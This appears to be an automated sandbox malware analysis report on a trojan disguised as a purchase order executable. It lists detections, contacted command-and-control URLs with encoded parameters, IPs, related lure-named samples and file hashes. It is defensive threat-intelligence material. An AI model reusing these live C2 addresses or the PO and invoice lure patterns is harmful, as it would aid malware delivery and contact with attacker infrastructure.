C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
PO# 0499699.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\nspE538.tmp\System.dll	0%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\nspE538.tmp\System.dll	0%	ReversingLabs

Unpacked PE Files

Source	Detection	Scanner	Label	Download
7.2.svchost.exe.3615000.2.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
7.2.svchost.exe.4137960.5.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
1.0.PO# 0499699.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1137482	Download File
0.0.PO# 0499699.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1137482	Download File
1.2.PO# 0499699.exe.400000.0.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
0.2.PO# 0499699.exe.22c0000.2.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
1.1.PO# 0499699.exe.400000.0.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
0.2.PO# 0499699.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1137482	Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.jackgaughan.net/u6e4/?U6ApY=a0+uwTFn5nNVUPHoKe2kISzIrov1rZSfduXEMVOsrOurYOD9M3ct8u5Em4BSL0WuodEf&l0DL=bT6Hn4EpFnWH	0%	Avira URL Cloud	safe
http://www.nuskinhk.com/u6e4/?U6ApY=rTbZoia8ZrSLLKVd1jYuoiAZrGZffbbBY/287cYY09W/kVEWF1VyJJlbdOYrHwxogUS3&l0DL=bT6Hn4EpFnWH	0%	Avira URL Cloud	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.yourcreativeconsultantgroup.com/u6e4/?l0DL=bT6Hn4EpFnWH&U6ApY=zOxmByeNS7+9J0CjES2oaqywLthrZ4DV/T5/mAf+7J4BkmSSPksdMfeqy2uDrY4D9J80	0%	Avira URL Cloud	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.yihetubu.com/u6e4/?l0DL=bT6Hn4EpFnWH&U6ApY=IHGRx2D03MO2Li40IzUvs7zF3B/N+nlQ0tWfuVZKRE1k94k9L8v4sWIwR5z1KUInAjtt	0%	Avira URL Cloud	safe
www.yunastone.com/u6e4/	0%	Avira URL Cloud	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.esmcharts.com/u6e4/?l0DL=bT6Hn4EpFnWH&U6ApY=8HyKVZi0EfAfVSKqZKSZMtXtWnSRXbKRBf9ZQh9tOniB8ZHiG2v6+6+C2sbgdZ4UIi42	0%	Avira URL Cloud	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.zgwljypx.com/u6e4/?U6ApY=GEKHPvpVXeCclQN5/N7c02fUqVrvniCdt6IKYAbwpNYx9gg2UhzEUFLU2QBSs2Fxkpwb&l0DL=bT6Hn4EpFnWH	0%	Avira URL Cloud	safe
http://www.%s.comPA	0%	URL Reputation	safe
http://www.%s.comPA	0%	URL Reputation	safe
http://www.%s.comPA	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
yourcreativeconsultantgroup.com	66.235.200.147	true	true	unknown
www.esmcharts.com	103.224.182.244	true	true	unknown
www.yihetubu.com	172.67.175.134	true	true	unknown
www.jackgaughan.net	154.83.72.159	true	true	unknown
www.zgwljypx.com	154.90.65.115	true	true	unknown
svenskagourmet.com	34.102.136.180	true	true	unknown
www.nuskinhk.com	91.195.240.94	true	true	unknown
www.cestsansgluten.net	unknown	unknown	true	unknown
www.svenskagourmet.com	unknown	unknown	true	unknown
www.uxdnxodpo.icu	unknown	unknown	true	unknown
www.yourcreativeconsultantgroup.com	unknown	unknown	true	unknown
www.skincarezwolle.com	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.jackgaughan.net/u6e4/?U6ApY=a0+uwTFn5nNVUPHoKe2kISzIrov1rZSfduXEMVOsrOurYOD9M3ct8u5Em4BSL0WuodEf&l0DL=bT6Hn4EpFnWH	true	Avira URL Cloud: safe	unknown
http://www.nuskinhk.com/u6e4/?U6ApY=rTbZoia8ZrSLLKVd1jYuoiAZrGZffbbBY/287cYY09W/kVEWF1VyJJlbdOYrHwxogUS3&l0DL=bT6Hn4EpFnWH	true	Avira URL Cloud: safe	unknown
http://www.yourcreativeconsultantgroup.com/u6e4/?l0DL=bT6Hn4EpFnWH&U6ApY=zOxmByeNS7+9J0CjES2oaqywLthrZ4DV/T5/mAf+7J4BkmSSPksdMfeqy2uDrY4D9J80	true	Avira URL Cloud: safe	unknown
http://www.yihetubu.com/u6e4/?l0DL=bT6Hn4EpFnWH&U6ApY=IHGRx2D03MO2Li40IzUvs7zF3B/N+nlQ0tWfuVZKRE1k94k9L8v4sWIwR5z1KUInAjtt	true	Avira URL Cloud: safe	unknown
www.yunastone.com/u6e4/	true	Avira URL Cloud: safe	low
http://www.esmcharts.com/u6e4/?l0DL=bT6Hn4EpFnWH&U6ApY=8HyKVZi0EfAfVSKqZKSZMtXtWnSRXbKRBf9ZQh9tOniB8ZHiG2v6+6+C2sbgdZ4UIi42	true	Avira URL Cloud: safe	unknown
http://www.zgwljypx.com/u6e4/?U6ApY=GEKHPvpVXeCclQN5/N7c02fUqVrvniCdt6IKYAbwpNYx9gg2UhzEUFLU2QBSs2Fxkpwb&l0DL=bT6Hn4EpFnWH	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.apache.org/licenses/LICENSE-2.0	explorer.exe, 00000003.00000000.677794419.000000000B976000.00000002.00000001.sdmp	false		high
http://www.fontbureau.com	explorer.exe, 00000003.00000000.677794419.000000000B976000.00000002.00000001.sdmp	false		high
http://www.fontbureau.com/designersG	explorer.exe, 00000003.00000000.677794419.000000000B976000.00000002.00000001.sdmp	false		high
http://www.fontbureau.com/designers/?	explorer.exe, 00000003.00000000.677794419.000000000B976000.00000002.00000001.sdmp	false		high
http://www.founder.com.cn/cn/bThe	explorer.exe, 00000003.00000000.677794419.000000000B976000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers?	explorer.exe, 00000003.00000000.677794419.000000000B976000.00000002.00000001.sdmp	false		high
http://www.tiro.com	explorer.exe, 00000003.00000000.677794419.000000000B976000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers	explorer.exe, 00000003.00000000.677794419.000000000B976000.00000002.00000001.sdmp	false		high
http://nsis.sf.net/NSIS_ErrorError	PO# 0499699.exe	false		high
http://www.goodfont.co.kr	explorer.exe, 00000003.00000000.677794419.000000000B976000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://qzonestyle.gtimg.cn/qzone_v6/lostchild/search_children.js	svchost.exe, 00000007.00000002.915349465.00000000042B2000.00000004.00000001.sdmp	false		high
http://www.carterandcone.coml	explorer.exe, 00000003.00000000.677794419.000000000B976000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.sajatypeworks.com	explorer.exe, 00000003.00000000.677794419.000000000B976000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.typography.netD	explorer.exe, 00000003.00000000.677794419.000000000B976000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers/cabarga.htmlN	explorer.exe, 00000003.00000000.677794419.000000000B976000.00000002.00000001.sdmp	false		high
http://www.founder.com.cn/cn/cThe	explorer.exe, 00000003.00000000.677794419.000000000B976000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.galapagosdesign.com/staff/dennis.htm	explorer.exe, 00000003.00000000.677794419.000000000B976000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://fontfabrik.com	explorer.exe, 00000003.00000000.677794419.000000000B976000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.founder.com.cn/cn	explorer.exe, 00000003.00000000.677794419.000000000B976000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers/frere-user.html	explorer.exe, 00000003.00000000.677794419.000000000B976000.00000002.00000001.sdmp	false		high
http://nsis.sf.net/NSIS_Error	PO# 0499699.exe	false		high
http://bbs.baobeihuijia.com/	svchost.exe, 00000007.00000002.915349465.00000000042B2000.00000004.00000001.sdmp	false		high
http://www.jiyu-kobo.co.jp/	explorer.exe, 00000003.00000000.677794419.000000000B976000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.galapagosdesign.com/DPlease	explorer.exe, 00000003.00000000.677794419.000000000B976000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers8	explorer.exe, 00000003.00000000.677794419.000000000B976000.00000002.00000001.sdmp	false		high
http://www.%s.comPA	explorer.exe, 00000003.00000000.661523052.0000000002B50000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	low
http://www.fonts.com	explorer.exe, 00000003.00000000.677794419.000000000B976000.00000002.00000001.sdmp	false		high
http://www.sandoll.co.kr	explorer.exe, 00000003.00000000.677794419.000000000B976000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.urwpp.deDPlease	explorer.exe, 00000003.00000000.677794419.000000000B976000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://e.t.qq.com/Tencent-Volunteers	svchost.exe, 00000007.00000002.915349465.00000000042B2000.00000004.00000001.sdmp	false		high
http://www.zhongyicts.com.cn	explorer.exe, 00000003.00000000.677794419.000000000B976000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.sakkal.com	explorer.exe, 00000003.00000000.677794419.000000000B976000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
172.67.175.134	www.yihetubu.com	United States	13335	CLOUDFLARENETUS	true
91.195.240.94	www.nuskinhk.com	Germany	47846	SEDO-ASDE	true
154.83.72.159	www.jackgaughan.net	Seychelles	134548	DXTL-HKDXTLTseungKwanOServiceHK	true
154.90.65.115	www.zgwljypx.com	Seychelles	134548	DXTL-HKDXTLTseungKwanOServiceHK	true
103.224.182.244	www.esmcharts.com	Australia	133618	TRELLIAN-AS-APTrellianPtyLimitedAU	true
66.235.200.147	yourcreativeconsultantgroup.com	United States	13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox Version:	32.0.0 Black Diamond
Analysis ID:	434783
Start date:	15.06.2021
Start time:	14:06:21
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 9m 50s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	PO# 0499699.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@8/3@10/6
EGA Information:	Failed
HDC Information:	Successful, ratio: 26.4% (good quality ratio 24%) Quality average: 75.7% Quality standard deviation: 30.7%
HCA Information:	Successful, ratio: 90% Number of executed functions: 108 Number of non-executed functions: 184
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Exclude process from analysis (whitelisted): BackgroundTransferHost.exe, backgroundTaskHost.exe, svchost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 13.64.90.137, 40.88.32.150, 20.82.210.154, 23.55.161.142, 23.55.161.162, 20.54.7.98, 40.112.88.60, 23.55.161.152, 23.55.161.163, 20.54.26.129 Excluded domains from analysis (whitelisted): au.download.windowsupdate.com.edgesuite.net, skypedataprdcolwus17.cloudapp.net, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, ris-prod.trafficmanager.net, asf-ris-prod-neu.northeurope.cloudapp.azure.com, ctldl.windowsupdate.com, iris-de-prod-azsc-neu-b.northeurope.cloudapp.azure.com, a767.dscg3.akamai.net, consumerrp-displaycatalog-aks2aks-europe.md.mp.microsoft.com.akadns.net, a1449.dscg2.akamai.net, arc.msn.com, consumerrp-displaycatalog-aks2eap-europe.md.mp.microsoft.com.akadns.net, ris.api.iris.microsoft.com, skypedataprdcoleus15.cloudapp.net, blobcollector.events.data.trafficmanager.net, audownload.windowsupdate.nsatc.net, arc.trafficmanager.net, displaycatalog.mp.microsoft.com, watson.telemetry.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, au-bg-shim.trafficmanager.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net, neu-consumerrp-displaycatalog-aks2aks-europe.md.mp.microsoft.com.akadns.net Not all processes where analyzed, report is missing behavior information VT rate limit hit for: /opt/package/joesandbox/database/analysis/434783/sample/PO# 0499699.exe

Simulations

Behavior and APIs

No simulations

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
172.67.175.134	RE; KOC RFQ for Flangers - RFQ 22965431.exe	Get hash	malicious	Browse	www.yihetubu.com/u6e4/?t4qdXV=IHGRx2D03MO2Li40IzUvs7zF3B/N+nlQ0tWfuVZKRE1k94k9L8v4sWIwR5z1KUInAjtt&irj=3fI8l
91.195.240.94	Proforma Invoice & Bank Swift Copy.exe	Get hash	malicious	Browse	www.orangebeachreviews.com/zrmt/?0v34_=SUH52hj0aQmiV0Sw50EDyegABuu/43b9tqoTDkeNov+i3+zU6FrNteO6RulBfMJIZZGq&lFQ=VN6dz2vp4
	Swift_Report.exe	Get hash	malicious	Browse	www.providenceoffices.com/m3rc/?m6W4u=aKJfjQ4Xm+LJIZ6BNgkPYoN44Kyofr6isW05/Z5O1S7pCIX150OaH40Kw9gi0+YuK6nV&gJBPYB=4huxslfxL6VH_
	PO#X2021-621.pdf.exe	Get hash	malicious	Browse	www.providenceoffices.com/m3rc/?rTWhMB=aKJfjQ4Xm+LJIZ6BNgkPYoN44Kyofr6isW05/Z5O1S7pCIX150OaH40Kw+AYkv4WQdGS&r48Ld=WroXO
	PR#28201909R1.exe	Get hash	malicious	Browse	www.moulardfarms.net/dp3a/?ZTVtjJ=hjwae6xYdLTx5OcOZnTOf16UDqRcchaC6xesFIAzUbdLEX4raNoveuuNguMXQDWXXxvh&nP_P=7nELdf8
	LEMOH.exe	Get hash	malicious	Browse	www.outerspacemeditation.com/aipc/?_vZ8Z=4hrPElJHXtGDm6&U6A=SRY9IG6Ajz+vE63Y3VEOHBl74k+S+40v702Yg2HNMZ6vicIyTlwI8qjzY7e3WsMSINEItkjWdA==
	rtgs_2021-06-07_02-01.exe	Get hash	malicious	Browse	www.bobdj99.com/uecu/?E4k=2/2CNfe5oxz1NU/aM0X0RjTNCyPbJ7TndDeKSNBHkiu7RRupV0YuoN8GwvCebBw+enDQ&3f30dp=Zf0HXpXHq84PAdrP
	rtgs_pdf.exe	Get hash	malicious	Browse	www.bobdj99.com/uecu/?4h=2/2CNfe5oxz1NU/aM0X0RjTNCyPbJ7TndDeKSNBHkiu7RRupV0YuoN8GwsiOUggGACqX&6lP4=KX-DbxrPVhL
	Invoice number FV0062022020.exe	Get hash	malicious	Browse	www.codeminers.productions/grb/?4hOh3f=JCtLHqhcGcpYDoGUTMfFxKbOAcuV9i6GhZW3aHBHw3ZMQEMFHpnAXSGddOx/HlTj8IEe&rZ_PWR=AL0hw0R0lbS
	Order.exe	Get hash	malicious	Browse	www.gp7.finance/jogt/?w6ATB0=RZ1M7k9p2b5dyn+zEFjRlZUNk+g+hUiZjaOuKcEdnAoB7FLE0a9NJR1t2K/OE+ySApAW&Jxox=Er6tXhMxl
	PO 4500151298.exe	Get hash	malicious	Browse	www.xn--instagrm-fza.com/dp3a/?3fSLd0e=enSPdiojLaUSqDXV+CwLxEf/O5NxnCQLLNdFWDW2Av/2Y30StDvAL3YXz6M6HIU11MsH&gL3pvR=7nphSLch
	Bank transfer copy.xlsx	Get hash	malicious	Browse	www.shardulwakade.net/xkcp/
	Bidding of BMP Project EMMP.99876786.exe	Get hash	malicious	Browse	www.moulardfarms.net/dp3a/?7nH8vbl=hjwae6xYdLTx5OcOZnTOf16UDqRcchaC6xesFIAzUbdLEX4raNoveuuNgtgHMyKsQEGwL9X2LA==&7ne0c=sZvXur
	AWB DHL 6357297368.exe	Get hash	malicious	Browse	www.moulardfarms.net/dp3a/?sZvD8l=hjwae6xYdLTx5OcOZnTOf16UDqRcchaC6xesFIAzUbdLEX4raNoveuuNguMXQDWXXxvh&Ezr4Ab=XrFPxlex
	RFQ - Upgrade Project (PML) 0000052021.exe	Get hash	malicious	Browse	www.moulardfarms.net/dp3a/?Qxo=hjwae6xYdLTx5OcOZnTOf16UDqRcchaC6xesFIAzUbdLEX4raNoveuuNguM9PzmXTznh&MJBD=FdFp3xAhctetbXf0
	PO_0065-2021.exe	Get hash	malicious	Browse	www.providenceoffices.com/m3rc/?JhJ=aKJfjQ4Xm+LJIZ6BNgkPYoN44Kyofr6isW05/Z5O1S7pCIX150OaH40Kw9sinuUtTqnDi2Hsrg==&qR=J4i8zf50NBY44rGp
	HEN.exe	Get hash	malicious	Browse	www.talbapp.com/aipc/?U8PpY=QRzQzz0CRwbvKRHNsR/5aijzVkNWxkkQNSjaI6oc8ofkUYwo8UiCXskXl7WLXCwfi7k0&R2JDx=RR-PylbXrhfT
	henry.exe	Get hash	malicious	Browse	www.outerspacemeditation.com/aipc/?MZg=SRY9IG6Ajz+vE63Y3VEOHBl74k+S+40v702Yg2HNMZ6vicIyTlwI8qjzY4ynKdQpP4tZ&zTxX=ApdHHR
	POSWM240521.exe	Get hash	malicious	Browse	www.providenceoffices.com/m3rc/?CRi=aKJfjQ4Xm+LJIZ6BNgkPYoN44Kyofr6isW05/Z5O1S7pCIX150OaH40Kw+AYkv4WQdGS&QZ3=DnJpqlx8pzo8Q0
	txdF6eWKUa.exe	Get hash	malicious	Browse	www.shardulwakade.net/xkcp/
	PO1234EFJL_011LM000_pdf.exe	Get hash	malicious	Browse	www.genius.fitness/we26/?RL04YJ=GVvVv28jwpssptLfzpSa9P5rOOuG+qMR0BYgUKHRChiJ/X/7M75vZZJDFX8rXKlZjSkj&Dxlpi=3fmL
154.83.72.159	RE; KOC RFQ for Flangers - RFQ 22965431.exe	Get hash	malicious	Browse	www.jackgaughan.net/u6e4/?t4qdXV=a0+uwTFn5nNVUPHoKe2kISzIrov1rZSfduXEMVOsrOurYOD9M3ct8u5Em4BSL0WuodEf&irj=3fI8l
154.83.72.159	RE KOC RFQ for Flanges - RFQ 2074898.exe	Get hash	malicious	Browse	www.jackgaughan.net/u6e4/?u6u0=a0+uwTFn5nNVUPHoKe2kISzIrov1rZSfduXEMVOsrOurYOD9M3ct8u5Em4BSL0WuodEf&9rQl7=xP04lrqp
154.90.65.115	RE Purchase Order.exe	Get hash	malicious	Browse	www.zgwljypx.com/u6e4/?TR-=0b08lfbHdjGhtdZp&WBZD=GEKHPvpVXeCclQN5/N7c02fUqVrvniCdt6IKYAbwpNYx9gg2UhzEUFLU2Tho8nlJ+ORc

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
www.jackgaughan.net	RE; KOC RFQ for Flangers - RFQ 22965431.exe	Get hash	malicious	Browse	154.83.72.159
www.jackgaughan.net	RE KOC RFQ for Flanges - RFQ 2074898.exe	Get hash	malicious	Browse	154.83.72.159
www.yihetubu.com	RE; KOC RFQ for Flangers - RFQ 22965431.exe	Get hash	malicious	Browse	172.67.175.134
www.zgwljypx.com	RE Purchase Order.exe	Get hash	malicious	Browse	154.90.65.115

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
DXTL-HKDXTLTseungKwanOServiceHK	RE Purchase Order.exe	Get hash	malicious	Browse	154.90.65.115
	RFQ_MR_4.EXE	Get hash	malicious	Browse	154.84.83.5
	Invoice.exe	Get hash	malicious	Browse	154.221.86.221
	5t2CmTUhKc.exe	Get hash	malicious	Browse	154.215.150.183
	L2.xlsx	Get hash	malicious	Browse	154.84.76.49
	GiG35Rwmz6.exe	Get hash	malicious	Browse	154.214.84.117
	RFQ-21-QAI-OPS-0067 (7000000061).exe	Get hash	malicious	Browse	154.84.83.5
	kmEVWJjPV6esObh.exe	Get hash	malicious	Browse	45.203.107.209
	rtgs_pdf.exe	Get hash	malicious	Browse	154.218.86.231
	Invoice number FV0062022020.exe	Get hash	malicious	Browse	154.80.207.57
	MT103-payment confirmation.xlsx	Get hash	malicious	Browse	154.84.76.49
	New Order Vung Ang TPP Viet Nam.exe	Get hash	malicious	Browse	45.194.139.173
	17jLieeOPx.exe	Get hash	malicious	Browse	156.237.130.173
	SKMBT41085NC9.exe	Get hash	malicious	Browse	154.212.65.23
	Product_Samples.exe	Get hash	malicious	Browse	154.95.193.124
	RE; KOC RFQ for Flangers - RFQ 22965431.exe	Get hash	malicious	Browse	154.83.72.159
	RE KOC RFQ for Flanges - RFQ 2074898.exe	Get hash	malicious	Browse	154.83.72.159
	item.exe	Get hash	malicious	Browse	154.95.193.124
	Payment SWIFT_Pdf.exe	Get hash	malicious	Browse	45.199.77.202
	Payment Advice-Pdf.exe	Get hash	malicious	Browse	45.199.77.202
CLOUDFLARENETUS	RFQ Products.xlsx	Get hash	malicious	Browse	23.227.38.74
	Swift Copy Payment.exe	Get hash	malicious	Browse	172.67.188.154
	0900000900.exe	Get hash	malicious	Browse	172.67.188.154
	090000.exe	Get hash	malicious	Browse	172.67.188.154
	L1GMUV4MyG.exe	Get hash	malicious	Browse	162.159.134.233
	Swift Copy Payment.exe	Get hash	malicious	Browse	104.21.19.200
	PaymentCopy2021_pdf.exe	Get hash	malicious	Browse	172.67.188.154
	PRICE LIST 2020.doc	Get hash	malicious	Browse	104.21.22.49
	Tax Document.docx	Get hash	malicious	Browse	172.67.150.133
	IDWCH1.exe	Get hash	malicious	Browse	172.67.222.38
	vEgw49Kx7t.exe	Get hash	malicious	Browse	104.21.19.200
	G2gYR2CRF1.exe	Get hash	malicious	Browse	104.21.19.200
	KRSetp.exe	Get hash	malicious	Browse	104.21.46.30
	OcLtW2CNjy.exe	Get hash	malicious	Browse	104.21.46.30
	Folder.exe	Get hash	malicious	Browse	172.67.200.215
	PI_OIUYT0987654456.exe	Get hash	malicious	Browse	172.67.130.233
	lH0UDb2boY.exe	Get hash	malicious	Browse	172.67.200.215
	VyrtVVbm03.exe	Get hash	malicious	Browse	172.67.200.215
	DOC_120229921_JUNE2021.exe	Get hash	malicious	Browse	172.67.211.15
	Yeni sipari#U015f _WJO-001,pdf.exe	Get hash	malicious	Browse	104.21.19.200
SEDO-ASDE	Proforma Invoice & Bank Swift Copy.exe	Get hash	malicious	Browse	91.195.240.94
	Swift_Report.exe	Get hash	malicious	Browse	91.195.240.94
	PO#X2021-621.pdf.exe	Get hash	malicious	Browse	91.195.240.94
	PR#28201909R1.exe	Get hash	malicious	Browse	91.195.240.94
	TekDefense.exe	Get hash	malicious	Browse	91.195.240.76
	PURCHASE ORDER. ZIP.exe	Get hash	malicious	Browse	91.195.240.45
	Proforma Inv.xlsx	Get hash	malicious	Browse	91.195.240.13
	LEMOH.exe	Get hash	malicious	Browse	91.195.240.94
	rtgs_2021-06-07_02-01.exe	Get hash	malicious	Browse	91.195.240.94
	rtgs_pdf.exe	Get hash	malicious	Browse	91.195.240.94
	Invoice number FV0062022020.exe	Get hash	malicious	Browse	91.195.240.94
	rHk5KU7bfT.exe	Get hash	malicious	Browse	91.195.240.103
	Order.exe	Get hash	malicious	Browse	91.195.240.94
	PO 4500151298.exe	Get hash	malicious	Browse	91.195.240.94
	STATEMENT OF ACCOUNT.exe	Get hash	malicious	Browse	91.195.240.103
	Bank transfer copy.xlsx	Get hash	malicious	Browse	91.195.240.94
	Bidding of BMP Project EMMP.99876786.exe	Get hash	malicious	Browse	91.195.240.94
	tgb4.exe	Get hash	malicious	Browse	91.195.240.103
	AWB DHL 6357297368.exe	Get hash	malicious	Browse	91.195.240.94
	RFQ - Upgrade Project (PML) 0000052021.exe	Get hash	malicious	Browse	91.195.240.94

JA3 Fingerprints

No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link
C:\Users\user\AppData\Local\Temp\nspE538.tmp\System.dll	RFQ Products.xlsx	Get hash	malicious	Browse
	ekeson and sons.exe	Get hash	malicious	Browse
	0900000900.exe	Get hash	malicious	Browse
	090000.exe	Get hash	malicious	Browse
	PaymentCopy2021_pdf.exe	Get hash	malicious	Browse
	doc64654475795.exe	Get hash	malicious	Browse
	NEW ORDER.exe	Get hash	malicious	Browse
	DOC_120229921_JUNE2021.exe	Get hash	malicious	Browse
	ORDER47.exe	Get hash	malicious	Browse
	jZuCbIpwNX.exe	Get hash	malicious	Browse
	DocumentCopy_pdf.exe	Get hash	malicious	Browse
	KK71rkO0Tf.exe	Get hash	malicious	Browse
	WP7IsjaUga.exe	Get hash	malicious	Browse
	RFQ.exe	Get hash	malicious	Browse
	Proforma Invoice & Bank Swift Copy.exe	Get hash	malicious	Browse
	Mitchell_RFQ_36496.exe	Get hash	malicious	Browse
	LEMO.exe	Get hash	malicious	Browse
	DOC120229921JUNE2021.exe	Get hash	malicious	Browse
	payment Advice.exe	Get hash	malicious	Browse
	scan202106150100101.exe	Get hash	malicious	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Temp\e6re7zygcqd Download File
Process:	C:\Users\user\Desktop\PO# 0499699.exe
File Type:	data
Category:	dropped
Size (bytes):	164352
Entropy (8bit):	7.998724134602968
Encrypted:	true
SSDEEP:	3072:qkf3JS64b4PMIQsTzxcJ+2LRilKs4qYU6zwj3OaF9ltMvhDWQ+9:X3g64b0MIlcM4CwbwLlqZ49
MD5:	C90F7E35121A3699143365E35F2F213D
SHA1:	28C21D67BEBDC92EDD2E47A6683B522E4A13A9EB
SHA-256:	37E838C6432883711B79252579E8A23519CD23596ADDEA5D90C78205DD69354E
SHA-512:	F27427AC97C55CF91670ECD26A595A1551241BA3B3FE6793C592FBE83CB2CC5047E1C14EC4FA3460D192AA9F8531128DD32897F9EA61CB566543D8EA923740A0
Malicious:	false
Reputation:	low
